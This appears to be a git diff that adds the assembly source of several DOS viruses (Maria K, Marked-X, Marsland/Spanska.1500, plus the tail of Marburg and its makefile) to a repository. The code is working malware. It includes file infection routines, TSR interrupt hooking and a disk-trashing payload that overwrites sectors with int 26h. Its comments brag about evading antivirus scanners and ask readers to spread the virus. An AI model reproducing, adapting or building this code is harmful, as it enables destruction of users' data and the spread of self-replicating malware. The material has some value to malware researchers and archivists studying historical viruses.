;Index end value +delta_call dd 00000000h ;Used into delta_offset routines +loop_point dd 00000000h ;Start address of decryption loop +crypt_key dd 00000000h ;Encryption key +oper_size db 00h ;Size used (1=Byte 2=Word 4=Dword) +index_mask db 00h ;Mask of register used as index +counter_mask db 00h ;Mask of register used as counter +build_flags db 00h ;Some decryptor flags +recursive_level db 00h ;Garbage recursive layer + + ;Decryptor flags aliases + +CRYPT_DIRECTION equ 01h +CRYPT_CMPCTR equ 02h +CRYPT_CDIR equ 04h +CRYPT_SIMPLEX equ 10h +CRYPT_COMPLEX equ 20h + + ;Buffer to convert file time to system time + +my_system_time equ this byte + +time_year dw 0000h +time_month dw 0000h +time_dayofweek dw 0000h +time_day dw 0000h +time_hour dw 0000h +time_minute dw 0000h +time_seconds dw 0000h +time_milisec dw 0000h + + ;Buffer for \WINDOWS and \SYSTEM directories + +szWorkDir db MAX_PATH dup (00h) + + ;Data about found files + +my_FindData db SIZEOF_WIN32_FIND_DATA dup (00h) + + ;This will be the place for the virus copy + +mem_end equ this byte + +; + +virseg ends + + end host_entry + +; + +-------->8 cut here --------------------------------------------------------- + +# Marburg makefile + +# make -B Will build wap32.exe +# make -B -DDEBUG Will build the debug version of wap32.exe + +NAME = WAP32 +OBJS = $(NAME).obj +ASMS = $(NAME).asm + +!if $d(DEBUG) +TASMPARAM= /ml /m5 /la /zi +TLINKPARAM= -Tpe -c -s -v -ap +!else +TASMPARAM= /ml /m5 /q /zn +TLINKPARAM= -Tpe -c -x -ap +!endif + +!if $d(MAKEDIR) +IMPORT=$(MAKEDIR)\..\lib\import32 +!else +IMPORT=import32 +!endif + + +$(NAME).EXE: $(OBJS) $(DEF) + tlink32 $(TLINKPARAM) $(OBJS),$(NAME),, $(IMPORT) + +.asm.obj: + tasm32 $(TASMPARAM) $(ASMS) diff --git a/m/MARIA-K.ASM b/m/MARIA-K.ASM new file mode 100755 index 0000000..1a2d87a --- /dev/null +++ b/m/MARIA-K.ASM @@ -0,0 +1,625 @@ +; VirusName : Maria K.. +; Country : Sweden +; Author : The Unforiven / Immortal Riot +; Date : 26/09/1993 +; +; This is a mutation of the "Bobvirus" written by Phalcon/Skism, +; Many thanks must go to the scratch coder of this one..(DA?) +; +; Mcafee Scan used to find this as "Cloud" Virus, But also +; as the "Beta" Virus. So..two guys in this little babe... +; +; This is a non-overwriting .COM files infector, it doesn't do +; anything to .EXE files, nor command.com. This goes memory +; resident. When it "goes-off", it prints out a "BOBism" every +; 5 minutes. If the virus finds itself in the memory, it will not +; go up again. It will NOT infect a program when you starts it, +; it's just the "printer-part" who is in memory".. +; +; This version is not encrypted as the original one, but instead, +; a hd-trasher has been added, so if some infected file is ran +; at the 2:nd every month, someone (me), will be very pleased.. +; +; Scan v108 can't find this, BUT! S&S Toolkit 6.54 do find it! +; F-Prot (2.09) DON'T find this and TBScan can't identify it +; as the "original" virus, It says it's some "Unknown Virus". +; +; Okey, think that's all, have phun, and remember, +; livi'n ain't no crime! +; + +CODE SEGMENT PUBLIC 'CODE' + ORG 100h + ASSUME CS:CODE,DS:CODE,SS:CODE,ES:CODE + +DTA_fileattr EQU 21 +DTA_filetime EQU 22 +DTA_filedate EQU 24 +DTA_filesize EQU 26 +DTA_filename EQU 30 + +virus_marker equ 026FFh ; JMP WORD PTR +virus_marker2 equ 00104h ; 0104h +part1_size equ part1_end - part1_start +part2_size equ part2_end - part2_start +offset_off equ duh2 +init_delay equ 5280 ; Initial delay +delay equ 400 ; Subsequent delay +num_Messages equ 7 ; Number of "Bob" messages +waves equ 7 ; Number of waves to go off after +infec_date equ 0606h ; Swedish National Day (0606).. + +Counter equ 108h +D_Mess equ 110h +Int_08_Start equ 112h + +; ----------------- +; S&S Toolkit 6.54 (FindViru) "string" is placed at the "jmp word ptr duh", +; If you finds something to add here, then do! The place he placed his +; string is there the virus identify itselves, and I've failed with get +; the virus to work after some dully attempt to add some meanless shit. +; Anyhow..I must say that Alan kicks my ass here!..Eat my shorts!.. +; ----------------- +part1_start: + jmp word ptr duh +duh dw middle_part_end - part1_start + 100h +duh2 dw 0 +part1_end: + +middle_part_start: +middle_part_end: + +; ----------------- +;Part 2 begins: Dis is the D-Cool part +; ----------------- +part2_start: + cld + call decrypt + mov si, offset Go + add si, offset_off + jmp si + +encrypt_val db 00h + +; ----------------- +; Encrypt/Decrypt isn't really a "Crypt" Routine. Instead, it will check +; what day it if, and if it's the second (2:nd) any month, procedure Stone- +; Heart will blow off. Stoneheart makes your "heart"-drives be quite empty. +; ----------------- +DECRYPT: +ENCRYPT: + mov ah,2ah ; Day-Checking.. + int 21h ; + cmp dl,02 ; Check if day 02.. + je STONEHEART ; If So..you're a lucky guy + jmp SORRY ; Otherwise..try with "date 02".. + +STONEHEART: ; Name of her.. + cli ; + mov ah,2 ; Starting right on.. + cwd ; Starting it from 0. + mov cx,0100h ; Continue to 256.... + int 026h ; No Exchauses! + jmp MARIA ; Jump For Joy..(J4J).. + +MARIA: ; Yeah, her's other handle.. + CLI ; + MOV AL,3 ; Continue with drive D.. + MOV CX,700 ; Make drive d's heart fall apart.. + MOV DX,00 ; Start from sector 0 + MOV DS,[DI+99] ; Put random crap in DS + MOV BX,[DI+55] ; More crap in BX + CALL STONEHEART ; J4J..once again.. + +SORRY: ; I'm feeling soo sorry for you! +RET ; Cuz you managed to return! + +; ----------------- +; This used to be under Decrypt/Encrypt, but well, since I don't want +; no encryptions in this virus, I just remarked this..And well, Mcaffe's +; Beta String used to be place at "mov di, si", that might also be a little +; reason..Anyhow..since I didn't coded this from scratch, I can't deny you +; from modify in this code..So..Get your Encryption if you wants! +; ----------------- +; MOV si, offset encrypt_val +; ADD si, offset_off +; MOV ah, byte ptr [si] +; MOV cx, offset part2_end - offset bam_bam +; ADD si, offset bam_bam - offset encrypt_val +; MOV di, si ; - "Beta-String used to be here.. +; ----------------- +xor_loop: + lodsb ; DS:[SI] -> AL + xor al, ah + stosb + loop xor_loop + ret + +copy_rest_stuff: +; Copying routine + push si ; SI -> buffer3 + call encrypt + mov cx, part2_size + pop dx + add dx, offset part2_start - offset buffer3 + mov ah, 40h + int 21h + call decrypt ; See what to do.. +bam_bam: + ret + +buffer db 0CDh, 20h, 0, 0, 0, 0, 0, 0 +buffer2 db part1_end - part1_start dup (?) +buffer3 dw ? +orig_path db 64 dup (?) +num_infec db 0 ; Infection wave number +infec_now db 0 ; Number files infected this time +root_dir db '\',0 ; Root Dir spec +com_mask db '*.com',0 ; Files to infect +dir_mask db '*.*',0 ; Files to search for.. +back_dir db '..',0 ; Dot-Dot.. +nest dw 0 + +DTA db 43 DUP (0) ; For use by infect_dir + +Go: ; Proc there Mcaf "cloud" string is placed. + + add si, offset buffer - offset Go + mov di, si + add di, offset buffer2 - offset buffer + cmp dx, infec_date ; Added this two lines, and + jz Go_Psycho ; "Cloud" string is gone... + mov cx, part1_size + rep movsb + mov ah, 47h ; Get directory + xor dl,dl ; Default drive + add si, offset orig_path - offset buffer - 8 + int 21h ; in orig_path + + jc Go_Error + mov ah, 3Bh ; Change directory + mov dx, si ; to the root dir + add dx, offset root_dir - offset orig_path + int 21h + jc Go_Error + + add si, offset num_infec - offset orig_path + inc byte ptr [si] ; New infection wave + + push si ; Save offset num_infec + + add si, offset infec_now - offset num_infec + mov byte ptr [si], 3 ; Reset infection + ; counter to 3 + ; for D-new run. + + call traverse_fcn ; Do all the work + + pop si ; Restore offset num_infec + cmp byte ptr [si], waves ; 10 infection waves? + jge Go_Psycho ; If so, activate + + mov ah, 2Ah ; Get date + int 21h + cmp dx, infec_date ; Is it 06/06? + jz Go_Psycho ; If so, activate + +Go_Error: + jmp quit ; And then quit + +Go_Psycho: + jmp Psycho ; Yeah, right! + +origattr db 0 +origtime dw 0 +origdate dw 0 +filesize dw 0 ; Size of the uninfected file + +oldhandle dw 0 + +; ----------------- +;D-Traversal function begins +; ----------------- +traverse_fcn proc near + push bp ; Create stack frame + mov bp,sp + sub sp,44 ; Allocate space for DTA + push si + + jmp infect_directory +In_fcn: + mov ah,1Ah ;Set DTA + lea dx,word ptr [bp-44] ;to space allotted + int 21h ;Do it now, do it hard! + + mov ah, 4Eh ;Find first + mov cx,16 ;Directory mask + mov dx,offset dir_mask ;*.* + add dx,offset_off + int 21h + jmp short isdirok +gonow: + cmp byte ptr [bp-14], '.' ;Is first char == '.'? + je short donext ;If so, loop again + lea dx,word ptr [bp-14] ;else load dirname + mov ah,3Bh ;and changedir there + int 21h ;Yup, yup + jc short donext ;Do next if invalid + mov si, offset nest ;Else increment nest + add si, offset_off + inc word ptr [si] ;nest++ + call near ptr traverse_fcn ;recurse directory +donext: + lea dx,word ptr [bp-44] ;Load space allocated for DTA addr + mov ah,1Ah ;and set DTA to it + int 21h ;cause it might have changed + + mov ah,4Fh ;Find next + int 21h +isdirok: + jnc gonow ;If OK, jmp elsewhere + mov si, offset nest + add si, offset_off + cmp word ptr [si], 0 ;If root directory (nest == 0) + jle short cleanup ; Quit + dec word ptr [si] ;Else decrement nest + mov dx,offset back_dir ;'..' + add dx, offset_off + mov ah,3Bh ;Change directory + int 21h ;to previous one +cleanup: + pop si + mov sp,bp + pop bp + ret +traverse_fcn endp +; ----------------- +;D-Traversal function ends +; ----------------- +Goto_Error: + jmp Error + +enuff_for_now: + ;Set nest to nil + mov si, offset nest ;in order to + add si, offset_off ;halt the D-Cool + mov word ptr [si], 0 ;traversal fcn + jmp short cleanup +return_to_fcn: + jmp short In_fcn ;Return to traversal function + +infect_directory: + mov ah, 1Ah ;Set DTA + mov dx, offset DTA ;to DTA struct + add dx, offset_off + int 21h + +find_first_COM: + mov ah, 04Eh ;Find first file + mov cx, 0007h ;Any file + mov dx, offset com_mask ;DS:[DX] --> filemask + add dx, offset_off + int 21h ;Fill DTA (hopefully) + jc return_to_fcn ; Error #E421:0.1 + jmp check_if_COM_infected ;I<___-Cool! Found one! + +find_next_file2: + mov si, offset infec_now ;Another loop, + add si, offset_off ;Another infection + dec byte ptr [si] ;Infected three? + jz enuff_for_now ;If so, exit +find_next_file: + mov ah,4Fh ;Find next + int 21h + jc return_to_fcn + +check_if_COM_infected: + mov si, offset DTA + dta_filename + 6 ; look at 7th letter + add si, offset_off + cmp byte ptr [si], 'D' ;??????D.COM? + jz find_next_file ;Don't kill COMMAND.COM + + mov ax,3D00h ;Open channel read ONLY + mov dx, si ;Offset Pathname in DX + sub dx, 6 + int 21h ;Open NOW! + jc find_next_file ;If error, find another + + xchg bx,ax ;bx is now handle + mov ah,3Fh ;Save + mov cx, part1_size ;first part + mov dx, offset buffer ;to buffer + add dx, offset_off ;to be restored + push dx + int 21h ;later + + pop si ;Check for virus ID bytes + ;in the buffer + push si + lodsw ;DS:[SI] -> AX + cmp ax, virus_marker ;Compare it + jnz infect_it ;infect if ID #1 not found + + lodsw ;Check next two bytes + cmp ax, virus_marker2 ;Compare it + jnz infect_it ;infect if ID #2 not found + pop si +bomb_out: + mov ah, 3Eh ;else close the file + int 21h ;and go find another + jmp find_next_file ;'cuz it's already infected + +Signature db 'Immortal Riot' + +; ----------------- +;D-Good Stuff - Infection routine +; ----------------- +infect_it: + ; save fileattr + pop si + add si, offset DTA + DTA_fileattr - offset buffer + mov di, si + add di, offset origattr - offset DTA - DTA_fileattr + movsb ;DS:[SI] -> ES:[DI] + movsw ;Save origtime + movsw ;Save origdate + movsw ;Save filesize + ;Only need LSW + ;because COM files + ;can only be up to + ;65535 bytes long + cmp word ptr [si - 2], part1_size + jl bomb_out ;is less than 8 bytes. + +do_again: + mov ah, 2Ch ;get time + int 21h + add dl, dh ;1/100 sec + 1 sec + jz do_again ;Don't want orig strain! + + mov si, offset encrypt_val + add si, offset_off + mov byte ptr [si], dl ;255 mutations + + mov ax, 4301h ;Set file attributes + xor cx, cx ;to nothing + mov dx, si ;filename in DTA + add dx, offset DTA + DTA_filename - offset encrypt_val + int 21h ;do it now, my child + + mov ah, 3Eh ;Close file + int 21h ;handle in BX + + mov ax, 3D02h ;Open file read/write + int 21h ;Filename offset in DX + jc bomb_out ;Damn! Probs + + mov di, dx + add di, offset oldhandle - offset DTA - DTA_filename + ;copy filehandle to + ;oldhandle + stosw ;AX -> ES:[DI] + xchg ax, bx ;file handle in BX now + + mov ah, 40h ;Write DS:[DX]->file + mov cx, part1_size - 4 ;number of bytes + mov dx, 0100h ;where code starts + int 21h ;(in memory) + + mov ah, 40h + mov si, di ; mov si, offset filesize + add si, offset filesize - 2 - offset oldhandle + add word ptr [si], 0100h + mov cx, 2 + mov dx, si + int 21h ;write jmp offset + + mov ax, [si] ;AX = filesize + sub ax, 0108h + + add si, offset buffer3 - offset filesize + push si + mov word ptr [si], ax + mov ah, 40h + mov cx, 2 + mov dx, si + int 21h + + mov ax, 4202h ;move file ptr + xor cx, cx ;from EOF + xor dx, dx ;offset cx:dx + int 21h + + call copy_rest_stuff + + pop si + add si, offset oldhandle - offset buffer3 + mov bx, word ptr [si] + mov ax, 5701h ;Restore + add si, offset origtime - offset oldhandle + mov cx, word ptr [si] ;old time and + add si, 2 + mov dx, word ptr [si] ;date + int 21h + + mov ah, 3Eh ;Close file + int 21h + + mov ax, 4301h ;Restore file + xor ch, ch + add si, offset origattr - offset origtime - 2 + mov cl, byte ptr [si] ;attributes + mov dx, si ; filename in DTA + add dx, offset DTA + DTA_filename - offset origattr + int 21h ;do it now + + jmp find_next_file2 + +GotoError: + jmp error + +Psycho: +; Check if already installed + push es + mov byte ptr cs:[100h],0 ;Initialize fingerprint + xor bx, bx ;Zero BX for start + mov ax, cs +Init1: inc bx ;Increment search segment + mov es, bx ;value + cmp ax, bx ;Not installed if we reach + je Not_Installed_Yet ;the current segment + mov si, 100h ;Search segment for + mov di, si ;fingerprint in first + mov cx, 4 ;four bytes + repe cmpsb ;Compare + jne init1 ;If not equal, try another + jmp Quit_Init ;else already installed + +Not_Installed_Yet: + pop es + mov word ptr cs:[Counter], init_delay + mov word ptr cs:[D_Mess], 1 + +; Copy interrupt handler to beginning of code + mov si, offset _int_08_handler + add si, offset_off + mov di, Int_08_Start + mov cx, int_end - int_start + rep movsb ;DS:[SI]->ES:[DI] + + mov ax, 3508h ;Get int 8 handler + int 21h ;put in ES:BX + + mov cs:[duh], bx ;Save old handler + mov cs:[duh+2], es ;in cs:[104h] + + mov ax, 2508h ;Install new handler + mov dx, Int_08_Start ;from DS:DX + int 21h ;Do it + + push es + mov ax, ds:[2Ch] ;Deallocate program + mov es, ax ;environment block + mov ah, 49h + int 21h + pop es + + mov ax, 3100h ;TSR + mov dx, (offset int_end - offset int_start + offset part1_end - offset Code + 4 + 15 + 128) SHR 4 + +; these two lines are the "long" line above..pls, but m together.. +; mov dx, (offset int_end - offset int_start + offset part1_end - +; offset Code + 4 + 15 + 128) SHR 4 + + + int 21h + int 20h ;In case of error +Quit_Init: + pop es +Error: ;On error, quit +Quit: + mov ah, 3Bh ;Change directory + mov dx, offset root_dir ;to the root dir + add dx, offset_off + int 21h + + mov ah,3Bh ;Change directory + ;Return to orig dir + add dx, offset orig_path - offset root_dir + int 21h + +; Copy buffer back to beginning of file + mov si, dx + add si, offset buffer2 - offset orig_path + mov di, 0100h + mov cx, part1_end - part1_start + rep movsb + + mov di, 0100h + jmp di +int_start: +_int_08_handler proc far + push ax + push bx + push cx + push dx + push si + push ds + push es + pushf + dec word ptr CS:[Counter] ;Counter + jnz QuitNow +;ACTIVATION!!! + mov word ptr CS:[Counter], delay ;Reset counter + + ; Set up DS & ES to equal CS + push cs + pop ds + push cs + pop es + + mov si, offset Messages - offset int_start + int_08_start + mov cx, cs:D_Mess + xor ah, ah +LoopY_ThingY: + lodsb ;DS:SI -> AL + add si, ax ;ES:BP -> Next message to display + loop LoopY_ThingY + + lodsb + xchg si, bp + + xor cx, cx + mov cl, al ;Length of string + mov ax, 1300h ; + mov bx, 0070h ;Page 0, inverse video + xor dx, dx ;(0,0) + int 10h ;Display ES:BP + inc word ptr cs:[D_Mess] + cmp word ptr cs:[D_Mess], num_messages + jnz Sigh + mov word ptr cs:[D_Mess], 1 + +Sigh: mov cx, 30h +Sigh2: push cx + mov cx, 0FFFFh +DelayX: loop DelayX + pop cx + loop Sigh2 + xchg si, bp +QuitNow: + popf + pop es + pop ds + pop si + pop dx + pop cx + pop bx + pop ax + jmp dword ptr CS:duh +; ----------------- +; Please don't just change the notes here included in the virus, and +; claim that it's your production. I know this isn't mine, but afterall, +; you could atleast say that I "renaissanced" it. Cuz mane people actually +; scans their programs nowdays (..or atleast here..), which makes it +; quite stupid to spread a virus which scan etc can find. And well, I'd +; like to get this little shit a bit spread..can you get it for me? :).. +; ----------------- + +Messages db 0 + db 15, 'Maria K lives..' ; She ain't dead.. + db 21, 'Somewhere in my heart..' ; That's truh..huh? + db 22, 'Somewhere in Sweden..' ; She lives here! + db 26, 'I might be insane..' ; I might be that.. + db 38, 'But the society to blame..' ; Might be true.... + db 40, 'The Unforgiven / Immortal Riot' ; That's me.... + +_int_08_handler endp +int_end: +part2_end: + +CODE ends + end part1_start + +; Greetings goes out to: Raver, Metal Militia, Scavenger, +; and of-cuz a mega Greeting to Maria K !.. \ No newline at end of file diff --git a/m/MARKED-X.ASM b/m/MARKED-X.ASM new file mode 100755 index 0000000..1c9d6e1 --- /dev/null +++ b/m/MARKED-X.ASM @@ -0,0 +1,109 @@ +; Virusname : Marked-X +; Virusauthor: Metal Militia +; Virusgroup : Immortal Riot +; Origin : Sweden +; +; It's a TSR, overwriting infector on files executed. If it's the +; twenty-first of any month it'll print a note and beep one thousand +; times. It also sets time/date to 00-00-00 so nothing will be shown +; in the fields when you take a "dir". It'll print a faked note when +; it goes into memory aswell saying they executed the file's not there. +; Urmm!.. Anyhow, enjoy Insane Reality #4! +; +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +; MARKED-X +;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +virus segment ; segment's and shit + assume cs:virus,ds:virus + org 100h +start: mov ah,2ah + int 21h + cmp dl,21 + je happy_happy_joy_joy + + mov ah,9h ; Print the faked + mov dx,offset note ; note.. (bad commie or filename) + int 21h + jmp makemegotsr + +happy_happy_joy_joy: + mov ah,9h ; Print the virus note + mov dx,offset society ; to show that we're here + int 21h + + mov cx,1000 ; Print 1000 + mov ax,0e07h ; "beep-letters" +beeper: + int 10h ; to screen + loop beeper ; (results in [ofcause] 1000 beepies) + +makemegotsr: + jmp tsrdata ; Celebrate! now put us as a TSR in memory +new21: pushf ; Pushfar + cmp ah,4bh ; Is a file being run? + jz infect ; If so, infect it + jmp short end21 ; If not, back to old int21 vector + +infect: mov ax,4301h ; Set attrib's to zero, keines, finito + and cl,0feh + int 21h + + mov ax,3d02h ; Open file + int 21h + mov bx,ax ; or.. xchg ax,bx.. but that doesn't work here + push ax ; Push all + push bx + push cx + push dx + push ds + + push cs + pop ds + mov ax,4200h ; Move to beginning (?) + xor cx,cx + cwd + int 21h + mov cx,offset endvir-100h ; What to write + mov ah,40h ; Write it + mov dx,100h ; Offset start + int 21h + cwd ; set date/time + xor cx,cx ; to zero (00-00-00) + + mov ax,5701h ; do that + int 21h + + mov ah,3eh ; close file + int 21h +x21: pop ds ; pop all + pop dx + pop cx + pop bx + pop ax +end21: popf ; pop far + db 0eah ; Jmp far (?) +old21 dw 0,0 ; Where to store the old INT21 +data db 'Marked-X' ; Virus name + db 'Will we ever learn to talk with eachother?' ; Virus poem + db '(c) Metal Militia/Immortal Riot' ; Virus author +society db 'In any country, prison is where society sends it''s',0dh,0ah + db 'failures, but in this country society itself is faily',0dh,0ah + db '$' ; Information note +note db 'Bad command or filename',0dh,0ah + db '$' ; Fake note +tsrdata: + mov ax,3521h ; Hook int21 + int 21h + mov word ptr cs:old21,bx ; Where to but it + mov word ptr cs:old21+2,es + mov dx,offset new21 ; Where's our to be called + mov ax,2521h ; Fix it + int 21h + push cs ; push it + pop ds ; pop it + mov dx,offset endvir ; Put all of us in memory + int 27h ; Do it, TSR (terminate & stay resident) +endvir label byte ; End of file +virus ends + end start diff --git a/m/MARSLAND.ASM b/m/MARSLAND.ASM new file mode 100755 index 0000000..7f1a2e7 --- /dev/null +++ b/m/MARSLAND.ASM @@ -0,0 +1,1135 @@ +; MARS LAND virus by Spanska +; Called Spanska.1500 by AV people +; This is my third virus +; +;********************************************************************* +; +; THIS VIRUS IS DEDICATED TO... uhhh... nobody this time :) +; +; Or maybe to all the virus coders who do not destruct with +; their creations. I've put the phrase "Coding a virus can +; be creative" to show that an original infection routine, +; a funny payload or a new mutation engine, are far more +; interesting for the coder and for other people than stupid +; destruction. +; I worked some weeks on this virus graphic effect. A simple +; routine to delete a hard drive would have taken me one +; minute to copy/paste it. So, no interest. +; +; Greets to Griyo (best virus coder on this side of the +; galaxy), MrSandman and other guys from 29A (the best group!), +; to Roadkill, Slacker, and friends on IRC (from Luxembourg, +; Spain, Sweden and everywhere), Poltergst and Cicatrix for +; their job on the web. And to the very few french virus +; coders, or even fighters (salut Jean-Luc!). +; +;******************************contact me at el_gato@rocketmail.com*** +; +; At the time it was released (march 97), the detection was: +; TBSCAN flags: c?K on .exe's, nothing on .com's +; FPROT: "ear variant" on unencrypted generation 0, nothing after +; DrSolly Findvirus: nothing +; DrWeb: nothing +; AVP: nothing +; (i saw in newsgroups that a scanner i can't remember flags it +; sometimes like a Whale variant, never happened to me) +; +; generation zero size: 1660 +; virus size: 1500 +; +; compile it with TASM /m2 and TLINK /t +; +; Properties: +; simple .com/.exe runtime infector +; file search routine is essentially derived from my NO PASARAN virus +; not destructive +; encrypted with variable key +; infects 3 .com and 3 .exe each run +; infects current directory, than upper directories +; when it reaches the root, it starts infecting all "level1" subdirectories +; does not infect files <500 bytes, nor command.com +; the VGA graphic bomb (a 3D voxel effect) explodes +; when minutes=30 and seconds<30 (1/120) + +code segment + assume ds:code, ss:code, cs:code, es:code + org 100h +; +;---------------fake host code-------------------- +; +hote: +call virus ;jump to viral code (avoid J flag) +signature db "ee" ;virus signature +nop ; +nop ;fake host +nop ; +nop ; +mov ah, 4ch ;finished +mov al,0 ;go to +int 21h ;DOS + +;********************************************************************** +; START OF VIRAL CODE +;********************************************************************** + +virus: ;virus starts here +; +;-------------in case of an exe, let's work in cs-------------- +; +push ds ;save ds on stack... Don't forget it... + +push cs ;we are in the virus segment +push cs ;so we have to adjust +pop es ;ds and es to point +pop ds ;to this segment +; +;---------------get delta offset---------------------------- +; +call $+3 ;modified classic +delta: ;routine to +mov bp, sp ;avoid flag E +mov ax, [bp] ; +add word ptr [bp], decrypte-delta ;thanks Slacker's Theory +sub ax, offset delta ;of Code through Obscurity! +mov bp, ax +ret + +clef db 0 ;the crypting key + +;=== this stosb === +;=== when outside decrypt loop === +;=== does not flag # === +baise_flag_cryptage: ;=== +stosb ;=========>>> NO MORE FLAG "#" !!!!! +ret ;=== +;=================================== + +; +;----------------------decrypting routine------------------------- +; +decrypte: +mov dl, [bp+offset clef] ;actual key in dl +mov cx, fin_cryptage - debut_cryptage ;number of bytes to decrypt +lea si, [bp+offset debut_cryptage] ;si=start of zone to decrypt +mov di, si ;di=start of zone to decrypt +xor_loop: ;decrypt loop +lodsb ;get byte to decrypt in al +nop ;just here to make a 1500 bytes virus ;) +xor al, dl ;the byte is decrypted with the key +call baise_flag_cryptage ;call the outside stosb (avoid flag #) +loop xor_loop ;finish decryption + +debut_cryptage: ;start of the crypted zone +; +;------transfert of infected file information on another zone--------- +; (for final normal execution of the program) +; +lea si, [bp+offset pip] ;from this zone +lea di, [bp+offset vip] ;to this zone +movsw +movsw ;we transfer 8 bytes +movsw +movsw +; +;---------------initialisation to 0 of directory counter-------------- +; and 2 infection counters (com and exe) +; +lea di, [bp+offset phase] ;they are here +xor ax, ax ;put them to zero +stosw ;(3 counters = 3 bytes) +stosb +; +;--------------------remember current repertory------------------ +; +lea si, [bp+offset repert] ;si on good memory zone +xor dl, dl ;dl=0 is default unit +mov ah, 47h ;47h=current dir in memory +int 21h ;go! +; +;---------------DTA go to a predefined zone in memory------------- +; +push 1a00h ;push/pop to +pop ax ;avoid flag F +lea dx, [bp+offset dta] +int 21h + +;********************************************************************** +; .COM INFECTION +;********************************************************************** +; +;-----------------find first .com file------------------------- +; +recherche: +mov cx, 0007h ;attributes +lea dx, [bp+offset file_com] ;file mask for a .com +mov ax, 4e00h ;4eh=find first file +int 21h ;file found? +jnc sauter_suivant ;yes => c=0, let's continue +jmp infecte_exe ;no => go to .exe infection +; +;---------------------find next .com file------------------------- +; +fichier_suivant: +lea dx, [bp+offset file_com] ; +mov ax, 4f00h ;4Fh=find next file +mov cx, 0007h +int 21h ;file found? +jnc saut5 ;yes => c=0, let's continue +jmp infecte_exe ;no => go to .exe infection +saut5: +; +;---------------verify if extension is really .com--------------------- +; (it's made to avoid flag S with tbscan) +; +sauter_suivant: +call verifie_extension ;call verification routine +cmp word ptr [si], "MO" ;second and third letters are "OM"? +jne fichier_suivant ;no => find next .com file +; +;----------------verify if it's command.com---------------------------- +; +cmp word ptr [bp+offset dta+1eh+2], "MM" ;test 3rd and 4th letter +je fichier_suivant ;yes => find next file +; +;--------------attributes to 0 to infect special files------------- +; +call attrib_a_zero +; +;--------------------open file, and verify header----------------------- +; +call ouvre_et_verif_header + +jmp fichier_suivant ;if header not good (already infected) + ;we get here and search another file + +;if header good we get here on routine return +; +;--------transfer 5 first bytes of the .com to another zone---------- +; +lea si, [bp+offset exehead] +lea di, [bp+offset cinq_octets] +movsw +movsw +movsb +; +;-----------before infection, change of the crypting key----------- +; +call change_clef +; +;------------disk file pointer at the end----------- +; +mov ax, 4202h +xor cx, cx +mov dx, cx +int 21h +; +;-----------------------infection----------------------------------- +; +call infecte +; +;--overwrite 5 first bytes on the disk by jump to virus code + signature--- +; +;1) move disk file pointer to start of the file +; +call pointeur_debut +; +;2) calculate initial jump and write all on a temp zone in memory +; +lea di, [bp+offset cinq_octets] +mov al, 0E8h ;E8=opcode of CALL +stosb +mov ax, word ptr [bp+offset dta+1ah] ;ax=file size +sub ax, 3 ;this is because of the CALL +stosw +mov ax, "ee" ;signature +stosw +; +;3) overwrite 5 first bytes on the file +; +mov cx,5 +lea dx, [bp+offset cinq_octets] +call ecrit_fichier +; +;----------------restore time/date of the file-------------------- +; +call restaure_time +; +;------------close file and restore file attributes-------------------- +; +call remise_en_etat +; +;--------verify how many .com files we have infected------------------ +; +mov byte ptr cl, [bp+offset compteur_com] ;infection counter in cl +inc cl ;one more +cmp cl, 3 ;have we infected 3 .com files? +je infecte_exe ;yes => let's infect .exe now +mov byte ptr [bp+offset compteur_com], cl ;no => write new value of counter +; +;-----------------let's infect a new .com file------------------ +; +jmp fichier_suivant ;go infect next file + +;********************************************************************** +; .EXE INFECTION +;********************************************************************** + +infecte_exe: +; +;------------------find first .exe file------------------------- +; +recherche_exe: +mov cx, 0007h ;attributes +lea dx, [bp+offset file_exe] ;file mask for a .exe +mov ax, 4e00h ;4eh=find first file +int 21h ;file found? +jnc sauter_exe_suivant ;yes => c=0, let's continue +jmp rep_sup ;no => go to upper directory +; +;------------------find next file------------------------- +; +exe_suivant: +lea dx, [bp+offset file_exe] ;file mask for a .exe +mov ax, 4f00h ;4Fh=find next file +mov cx, 0007h ;attributes +int 21h ;file found? +jnc saut_exe ;yes => c=0, let's continue +jmp rep_sup ;no => go to upper direcory +saut_exe: ; +; +;---------------verify if extension is really .com--------------- +; (it's made to avoid flag S with tbscan) +; +sauter_exe_suivant: +call verifie_extension ;call verification routine +cmp word ptr [si], "EX" ;second and third letters are "OM"? +jne exe_suivant ;no => find next .exe file +; +;------------attributes to 0 to infect special files------------- +; +call attrib_a_zero + +call ouvre_et_verif_header +jmp exe_suivant ;if header not good (already infected or + ;windows file) we get here and search + ;another file + +;if header good, we get here +; +;------------verify that it's really a .exe with MZ header---------------- +; +lea si, [bp+offset exehead] +lodsw +add ah, al ;to avoid flag Z +cmp ah, 167 ;(M+Z in ASCII is 167) +jne exe_suivant ;if it's not MZ or ZM, find next .exe file +; +;-----------before infection, change the crypting key----------- +; +call change_clef +; +;----------------save old .exe header values------------------------- +; +lea di, [bp+offset pIP] +mov ax, word ptr [bp+ exehead+14h] ;save IP +stosw +mov ax, word ptr [bp+ exehead+16h] ;save CS +stosw +mov ax, word ptr [bp+ exehead+0Eh] ;save SS +stosw +mov ax, word ptr [bp+ exehead+10h] ;save SP +stosw +; +;---------disk file pointer at the end (return dx:ax = size)--------- +; +mov bx, [bp+offset handle] +mov ax, 4202h +xor cx, cx +xor dx, dx +int 21h + +push ax ;save size on stack +push dx ;useful for next calculations +; +;----------------calculate new cs:ip--------------------------------- +; +push ax +mov ax, word ptr [bp+exehead+08h] +mov cl, 4 +shl ax, cl +mov cx, ax +pop ax +sub ax, cx +sbb dx, 0 + +mov cl, 0Ch +shl dx, cl +mov cl, 4 +push ax +shr ax, cl +add dx, ax +shl ax, cl +pop cx +sub cx, ax + +mov word ptr [bp+ exehead+14h], cx ;new calculated values +mov word ptr [bp+ exehead+16h], dx ;put in the header zone +mov word ptr [bp+ exehead+0Eh], dx ;in memory +mov word ptr [bp+ exehead+10h], 0FFFEh +; +;-----------------calculate new size--------------------------- +; +pop dx +pop ax +push ax +add ax, fin_cryptage-virus +adc dx, 0 +mov cl, 7 +shl dx, cl +mov cl, 9 +shr ax, cl +add ax, dx +inc ax +mov word ptr [bp+ exehead+04h], ax +pop ax +add ax, fin_cryptage-virus +and ah, 1 +mov word ptr [bp+ exehead+02h], ax +; +;-----------------write signature---------------------------------- +; +mov word ptr [bp+exehead+12h], "ee" +; 